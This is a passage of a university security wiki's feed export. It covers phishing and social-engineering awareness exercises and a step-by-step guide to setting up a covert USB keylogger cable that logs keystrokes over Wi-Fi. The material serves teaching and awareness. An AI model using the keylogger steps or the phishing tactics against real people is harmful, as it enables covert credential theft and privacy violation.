: Reusing gathered information or access in following attacks until the original objective is achieved.&lt;br /&gt;
&lt;br /&gt;
== Social Engineering Attack Methods ==&lt;br /&gt;
&lt;br /&gt;
Social engineering encompasses various methods, including physical and psychological tactics, to gain unauthorized access.&lt;br /&gt;
&lt;br /&gt;
 	&lt;br /&gt;
&lt;br /&gt;
===Physical Attacks===&lt;br /&gt;
;Tailgating:&lt;br /&gt;
:Gaining access to restricted areas by following authorized personnel.&lt;br /&gt;
;Shoulder Surfing: &lt;br /&gt;
:Secretly observing confidential information, such as passwords or PINs, by watching individuals operate devices.&lt;br /&gt;
;Dumpster Diving: &lt;br /&gt;
:Sorting through discarded materials to obtain valuable information like passwords, customer numbers, or contracts.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Psychological Attacks===&lt;br /&gt;
;Reciprocity:&lt;br /&gt;
: Offering favours to create a sense of obligation to reciprocate.&lt;br /&gt;
;Obligation&lt;br /&gt;
: Evoking a feeling of duty or cooperation to comply with requests.&lt;br /&gt;
;Free Information&lt;br /&gt;
: Extracting seemingly harmless information through casual conversation.&lt;br /&gt;
;Authority&lt;br /&gt;
: Exploiting the perceived authority of figures to compel compliance.&lt;br /&gt;
;Desire to Help&lt;br /&gt;
:Faking distress to evoke sympathy and manipulate individuals into offering assistance.&lt;br /&gt;
&lt;br /&gt;
==Phishing==&lt;br /&gt;
Phishing is a subfield of social engineering, which includes multiple strategies and methods aimed to gain personal information from targets. &lt;br /&gt;
These attacks can be executed through various mediums such as Mail, text messages, or phone calls, and can be customized to the individual or sent out on a larger scale. In the following paragraphs multiple methods are shown.&lt;br /&gt;
&lt;br /&gt;
;Mail Phishing&lt;br /&gt;
: Mail phishing is a well-known method, attackers impersonate legitimate sources and send emails to a wide range of Mail addresses. These often contain links or forms to fill out. These emails typically create a sense of urgency to prompt action.&lt;br /&gt;
;Spear Phishing&lt;br /&gt;
: Spear phishing involves a more targeted approach, these Mails are tailored to specific individuals or companies. Attackers make use of personal information to create an illusion of trustworthiness and legitimacy, increasing the likelihood of success.&lt;br /&gt;
;Whaling&lt;br /&gt;
: Whaling is similar to spear phishing. The significant difference is that in  this method targets of a  high-profile such as CEOs or public figures are the focus. It requires extensive research, to gather information for a successful spoof.&lt;br /&gt;
;Baiting&lt;br /&gt;
: Baiting attacks offer baits such as random USB sticks, email attachments, or links to invoke curiosity or offer desirable goods for free. They often use offers or a sense of urgency, like last-minute sales, to quickly needed action.&lt;br /&gt;
;Scareware&lt;br /&gt;
: Scareware exploits the tendency to act rash when someone feels threatened. By staging a threat and offering a solution to unsuspecting victims. This can be done in the form of emails, pop-ups, or SMS  that lead to malware or fake websites collecting sensitive information.&lt;br /&gt;
&lt;br /&gt;
==Mail Phishing Exercise==&lt;br /&gt;
The exercise &amp;quot;Mail Phishing&amp;quot; is designed to educate users about the risks about freely available personal information. Especially focusing on social media platforms. The exercise serves as a demonstration of how social engineers can exploit personal details to execute phishing attacks. Also underlining the necessity for cautious communication in work environments.&lt;br /&gt;
&lt;br /&gt;
*[[File:Mail.PNG]]&lt;br /&gt;
===Purpose===&lt;br /&gt;
&lt;br /&gt;
;Raise Awareness&lt;br /&gt;
: By simulating a phishing scenario using social media information, the exercise aims to raise awareness about the potential threats of sharing personal details online.&lt;br /&gt;
;Educate about Phishing&lt;br /&gt;
: Through experiencing the attackers perspective, participants learn about the tactics used by Cybercriminals.&lt;br /&gt;
;Promote Alertness&lt;br /&gt;
: The exercise shows importance of exercising caution when sharing online.&lt;br /&gt;
===Scenario===&lt;br /&gt;
The exercises aim is to personalize a Mail to a employee, faking familiarity. It begins with Users are prompted to access publicly available social media data to gather information about the fictional individual. &lt;br /&gt;
Upon gathering the necessary information, participants are instructed to complete an email addressed to Cameron, impersonating a colleague named Sarah from the accounting department. The email requests Cameron&#039;s employee ID and department. The Mail seems urgent thanks to faking a system failure, exploiting the familiarity implied by the shared personal details.&lt;br /&gt;
If participants successfully fill in Cameron&#039;s employee ID t, they &amp;quot;win&amp;quot; the exercise. In the case of a successful spoof, the User gets a short text explaining the tactics behind this attack. Highlighting the potential risks associated with sharing personal information online and the importance of verifying requests for sensitive data in professional contexts.&lt;br /&gt;
&lt;br /&gt;
===Lessons===&lt;br /&gt;
#Recognizing the risks associated with freely available personal information on social media.&lt;br /&gt;
#Understanding the tactics employed in phishing attacks and how they exploit human psychology.&lt;br /&gt;
#Developing critical thinking skills to discern legitimate communication from potential phishing attempts.&lt;br /&gt;
#Implementing best practices for safeguarding sensitive information in online interactions.&lt;br /&gt;
&lt;br /&gt;
==Shoulder Surfing Exercise==&lt;br /&gt;
The Exercise &amp;quot;Shoulder Surfing&amp;quot; is designed to educate on the potential risks associated with unauthorized access to sensitive information. Furthermore, it should highlight the importance of good password hygiene. Participants engage in a simulated scenario where they attempt to uncover a coworker&#039;s password and User.&lt;br /&gt;
&lt;br /&gt;
*[[File:Shoulder.PNG]]&lt;br /&gt;
===Purpose===&lt;br /&gt;
;Highlighting the Simplicity of Shoulder Surfing&lt;br /&gt;
: By simulating a scenario where participants attempt to obtain a coworker&#039;s password through observation, the exercise underscores the risks associated with shoulder surfing and unauthorized access to sensitive information.&lt;br /&gt;
;Promote Good Password Hygiene &lt;br /&gt;
: Participants learn about the importance of using strong, unique passwords and avoiding the use of easily guessable information, such as details found in one&#039;s surroundings.&lt;br /&gt;
;Raise Awareness about Password complexity&lt;br /&gt;
: The exercise encourages participants to consider their password choices.&lt;br /&gt;
&lt;br /&gt;
===Scenario===&lt;br /&gt;
The exercise aims to figure out the identity of a coworker by “hacking” a web page. It begins with they suspect a coworker of stealing a project and need evidence to confirm their suspicions. Participants are tasked with extricating information’s based on the work environment and a shoulder surfing snapshot.&lt;br /&gt;
Using the observed information, participants attempt to get into the coworker&#039;s given data on the site.&lt;br /&gt;
Once participants successfully “hack” the Profile, they uncover personal information about the coworker, effectively confirming their identity and involvement in the scenario.&lt;br /&gt;
&lt;br /&gt;
===Learning Objectives===&lt;br /&gt;
#Understanding the risks associated with shoulder surfing and unauthorized access to sensitive information.&lt;br /&gt;
#The importance of using strong, unique passwords to protect personal and professional accounts.&lt;br /&gt;
#Developing critical thinking skills to identify potential security vulnerabilities in password practices.&lt;br /&gt;
#Promoting a culture of security awareness and personal responsibility in safeguarding sensitive data.&lt;br /&gt;
&lt;br /&gt;
==The Project==&lt;br /&gt;
[https://git.fh-campuswien.ac.at/c2010475112/Phishing-Platform ProjectGit]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Forensic_Keylogger_Cable&amp;diff=14605</id>
		<title>AirDrive Forensic Keylogger Cable</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Forensic_Keylogger_Cable&amp;diff=14605"/>
		<updated>2024-03-12T17:20:13Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:AirDrive Forensic Keylogger Cable.PNG|250px|thumb|right|AirDrive Forensic Keylogger Cable]]&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
This keylogger is one with WiFi access and a minimized risk of detection. The USB keylogger module is hidden in a USB extension cable. Externally, the USB cable does not differ from conventional cables.&lt;br /&gt;
&lt;br /&gt;
The AirDrive Forensic Keylogger Module which was built into the cable is an ultra-small USB keylogger module designed for installation in a USB keyboard.  The small size makes it easy to install in any USB keyboard. This is available as standard and pro version. &lt;br /&gt;
Exact information can be found [https://www.keelog.com/de/forensic-keylogger/ here]. A video with detailed installation instructions can be found [https://www.youtube.com/watch?v=7AUssrySD2I here].&lt;br /&gt;
&lt;br /&gt;
[[File:AirDrive Forensic Keylogger Module.PNG|250px|thumb|right|AirDrive Forensic Keylogger Module]]&lt;br /&gt;
&lt;br /&gt;
== Characteristics ==&lt;br /&gt;
&lt;br /&gt;
* Stores input from any USB keyboard&lt;br /&gt;
* 16MB internal flash memory&lt;br /&gt;
* Undetectable by security software&lt;br /&gt;
* Supports over 40 national keyboard layouts&lt;br /&gt;
* Compatible with barcode readers&lt;br /&gt;
* Works as a wireless Wi-Fi hotspot&lt;br /&gt;
* Connect from any computer, smartphone or tablet&lt;br /&gt;
* Data access via web browser&lt;br /&gt;
* Remote data retrieval without touching the device&lt;br /&gt;
* Supports WEP, WPA and WPA-2 network security&lt;br /&gt;
* Memory secured by hardware encryption&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
The AirDrive cable acts as a Wi-Fi hotspot. This means that the cable can establish a Wi-Fi connection with any Wi-Fi device (smartphone, tablet or laptop). The selected Wi-Fi device can then connect to the interface with the data protocol. There, there is the possibility to set configurations, such as the WLAN settings of the WLAN access point and the options for logging the keyboard strokes. Over 40 national keyboard layouts, including the world&#039;s most popular languages and keyboard layouts, are supported. Installation requires no additional software or drivers.&lt;br /&gt;
&lt;br /&gt;
=== Hands-On ===&lt;br /&gt;
&lt;br /&gt;
1.	Connect the USB keylogger cable to the external keyboard and the target host. 2.&lt;br /&gt;
&lt;br /&gt;
2.	Connect your smartphone, tablet or computer to the Wi-Fi network &amp;quot;AIR_XXYYZZ&amp;quot;, where &amp;quot;XXYYZZ&amp;quot; is the device ID of the USB cable. 3.&lt;br /&gt;
&lt;br /&gt;
3.	You can then use any web browser to access the interface under the IP &amp;quot;192.168.4.1&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 1.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
4.	Open the settings to configure the keylogger cable. Various configurations can be made there:&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 2.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 3.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 4.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
To apply the settings, click on &amp;quot;Save data logging settings&amp;quot; and/or on “Save Access Point settings”.&lt;br /&gt;
&lt;br /&gt;
5.	Since this is not a &amp;quot;Pro&amp;quot; device, there are no advanced settings available. Features like an internet connection via the access point, timestamps, reporting via email and data streaming can be set via this sub-menu.&lt;br /&gt;
&lt;br /&gt;
6.	However, we can download the &amp;quot;Data Log&amp;quot; under the &amp;quot;Download&amp;quot; button, which can be several pages long.&lt;br /&gt;
&lt;br /&gt;
7.	With a click on &amp;quot;Data Log&amp;quot; we can observe what is typed on the external keyboard.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Example of a Data Log&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.&lt;br /&gt;
&lt;br /&gt;
[[File:Webinterface 5.PNG|800px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
=== Important Legal Notice [1] ===&lt;br /&gt;
&lt;br /&gt;
The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.&lt;br /&gt;
&lt;br /&gt;
[[File:This PC is monitored.PNG|300px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
== Hardware Used ==&lt;br /&gt;
&lt;br /&gt;
[[Forensic USB keylogger cable]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.keelog.com/de/forensic-keylogger/&lt;br /&gt;
* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
</feed>